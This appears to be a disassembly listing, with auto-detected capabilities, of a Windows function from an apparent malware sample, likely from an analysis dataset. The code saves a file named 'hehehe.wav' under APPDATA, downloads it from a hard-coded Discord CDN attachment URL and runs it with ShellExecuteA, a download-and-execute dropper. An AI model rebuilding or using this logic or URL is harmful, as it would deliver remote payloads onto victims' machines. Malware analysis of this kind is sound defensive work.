Function at 0x14001144c
Capabilities:
Create process on windows
Download url
Query environment variable
Receive data

Disassembly:
jmp 0x140016280
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140024040]
xor rax, rbp
mov qword [rbp + 0x1a8], rax
lea rcx, [0x14002a0f5]
call fcn.140011613
nop
lea rdx, str.Russian
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_setlocale]
nop
lea rcx, str.APPDATA
call qword [sym.imp.ucrtbased.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 8]
call fcn.1400112c1
nop
lea r8, [rbp + 8]
lea rdx, [0x140020598]
lea rcx, [rbp + 0x128]
call fcn.140011050
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x1a0], rax
mov rdx, qword [rbp + 0x1a0]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001159b
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x128]
call fcn.14001113b
nop
lea rdx, str.hehehe.wav
lea rcx, [rbp + 8]
call fcn.14001108c
nop
lea r8, [rbp + 8]
lea rdx, [0x1400205c8]
lea rcx, [rbp + 0x168]
call fcn.140011050
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x198]
mov qword [rbp + 0x1a0], rax
mov rdx, qword [rbp + 0x1a0]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001159b
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x168]
call fcn.14001113b
nop
lea rdx, [0x1400205f8]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110c8
nop
lea rcx, [rbp + 8]
call fcn.1400110a5
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.https:__cdn.discordapp.com_attachments_1274767558800572539_1290315186485461082_hehehe.wav_ex66fc0329is66fab1a9hm1a348f63af4609dc836fdd05469fa2d6af207b69e739d8da27c2b53d9d30b606
xor ecx, ecx
call fcn.140011186
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x14001643a
lea rdx, [0x1400206f0]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110c8
nop
lea rcx, [rbp + 8]
call fcn.1400110a5
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rbp + 8]
call fcn.14001113b
nop
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ff80]
call fcn.14001152d
mov eax, edi
mov rcx, qword [rbp + 0x1a8]
xor rcx, rbp
call fcn.140011311
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret